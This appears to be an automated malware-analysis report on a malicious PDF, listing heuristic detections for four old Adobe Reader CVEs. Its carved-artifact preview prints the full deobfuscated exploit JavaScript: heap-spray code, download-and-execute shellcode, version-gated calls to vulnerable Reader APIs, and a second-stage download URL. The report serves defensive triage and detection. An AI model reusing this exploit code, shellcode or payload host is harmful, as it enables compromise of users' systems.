MALICIOUS
470
Risk Score
Malware Insights
MITRE ATT&CK
T1203 Exploitation for Client Execution
T1059.007 JavaScript
The PDF file contains embedded JavaScript that utilizes multiple known CVE exploits targeting Adobe Reader, including CVE-2009-4324, CVE-2009-0927, CVE-2007-5659, and CVE-2008-2992. The script is designed to perform a heap spray and then download a second-stage payload from the URL http://greendayss.com/1/viewforum.php/baa71214dbabf817b14acf181adb13a7?spl=pdf_2022. The presence of multiple exploit CVEs and the download functionality strongly indicate a malicious intent to compromise the user's system.
Machine Learning
- Nyx PDF Classifier malicious score 1.0000
Heuristics 11
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media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
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Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
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Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
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util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
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Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCHA single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
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Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KITOne recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
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JavaScript action low 2 related findings PDF_JAVASCRIPTPDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
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JavaScript heap-spray padding critical PDF_JS_HEAP_SPRAY_PADDINGA document-level /JS stream decompresses into a large blob that is almost entirely ASCII whitespace wrapped around a small code core. This is the classic JavaScript heap-spray shape — the padding is the spray buffer used to position shellcode at a predictable address before a parser CVE fires. Benign PDF JavaScript is never megabytes of whitespace, so this is treated as malicious even when the inner exploit stage cannot be decoded to an exact CVE.
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Embedded JS stream low PDF_JSPDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
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Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://greendayss.com/1/viewforum.php/baa71214dbabf817b14acf181adb13a7?spl=pdf_2022 Referenced by PDF JavaScript
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
javascript_obj0019_000.js |
pdf-javascript-stream | PDF /JS object 19 at offset 0x2574 | 449938 bytes |
SHA-256: f84fb9bcd2ae19308b8b410067786084d96d13ba0a6e82a64d39e6b4ff3dab15 |
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Preview scriptFirst 1,000 lines of the extracted script
var v = String ; var l = 2 ; var vC = this ; var eR = 1 ; var vE = 0 ; var sB = [ "charC" , "odeAt" , "" ] ; lO = new String ( sB [ 0 ] + sB [ 1 ] + sB [ 2 ] ) ; var eP = [ "Word" , ... (truncated) |
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legacy_pdfkit_stage_000.js |
deobfuscated-js | getPageWords-XOR Pidief stage normalized at offset 0x0 | 3565 bytes |
SHA-256: 50694c0ef3c542e0baf377a705696e04c874e587bf0d3c9f39e5b9312654748d |
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Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 4 eval/decoder/string-building token(s).
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Preview scriptFirst 1,000 lines of the extracted script
/* getPageWords download URL: http://greendayss.com/1/viewforum.php/baa71214dbabf817b14acf181adb13a7?spl=pdf_2022 */
var _u="http://greendayss.com/1/viewforum.php/baa71214dbabf817b14acf181adb13a7?spl=pdf_2022 ";
6 $ 6 $$ 6$$r $ g$ $r $gr $g eg g
var src_table = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890/.:_-?&=%";
var dest_table= "xa83V5OJ&Enl0Hpq-tNybkeYZ%cSAMTj7KFXBoI_rC6DL=0hwGdfu4Rvg:1zQsmiP2/9?W.U";
var hwTl9Dn = new Array();
function get_shellcode(name) {
var u = get_url();
var s = "%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455";
s+= u;
return unescape(s);
}
function get_url(){
var str = this.info.author;
var ret = encode_str(str, dest_table, src_table);
return ret;
};
function encode_str(str, src_table, dest_table){
var ret="";
for(var i=0; i < str.length; i++)
{
var index = src_table.indexOf(str[i]);
if(index > -1 )
{
ret += dest_table[index];
}
}
return ret;
};
function Rq4v1qCC(PDrScZj4, ez5pL6){
while (PDrScZj4.length * 2 < ez5pL6){
PDrScZj4 += PDrScZj4;
}
PDrScZj4 = PDrScZj4.substring(0, ez5pL6 / 2); return PDrScZj4;
}
function x8EvTm(I7T0vko5){
var qPBt7D = 0x0c0c0c0c;
NRjjR6W6 = get_shellcode("pdf");
if (I7T0vko5 == 1){qPBt7D = 0x30303030;}
var FeQq1Vv = 0x400000;
var tsSzSc = NRjjR6W6.length * 2; var ez5pL6 = FeQq1Vv - (tsSzSc + 0x38);
var PDrScZj4 = unescape("%u9090%u9090");
PDrScZj4 = Rq4v1qCC(PDrScZj4, ez5pL6);
var x62RaBM3 = (qPBt7D - 0x400000) / FeQq1Vv;
for (var Ojafoj = 0; Ojafoj < x62RaBM3; Ojafoj ++ ){
hwTl9Dn[Ojafoj] = PDrScZj4 + NRjjR6W6;
}
}
function U2UcYKr(){
var IyIFVe = app.viewerVersion.toString();
if (IyIFVe > 8)
{
x8EvTm(1);
var iVvCdy8 = "12999999999999999999";
for (RvU5gmOE = 0; RvU5gmOE < 276; RvU5gmOE ++ )
{
iVvCdy8 += "8";
}
util.printf("%45000f", iVvCdy8);
}
if (IyIFVe < 8){
x8EvTm(0);
var UNXaCTHb = unescape("%u0c0c%u0c0c");
while (UNXaCTHb.length < 44952) UNXaCTHb += UNXaCTHb;
this .collabStore = Collab.collectEmailInfo({ subj : "", msg : UNXaCTHb});
}
if (IyIFVe < 9.1){
if (app.doc.Collab.getIcon)
{
x8EvTm(0);
var eGREUTNw = unescape("%09");
while (eGREUTNw.length < 0x4000)eGREUTNw += eGREUTNw;
eGREUTNw = "N." + eGREUTNw;
app.doc.Collab.getIcon(eGREUTNw);
}
}
if (IyIFVe == 9.2){
x8EvTm(1);
util.printd("1.000000000.000000000.1337 : 3.13.37", new Date());
try
{
media.newPlayer(null);
} catch(e)
{}
util.printd("1.000000000.000000000.1337 : 3.13.37", new Date());
}
}
U2UcYKr();
$$$$$$$ 6 '' 6'' '$$ $ $ $$ ''$ ''66 6 '' 6 6 $6 �� >
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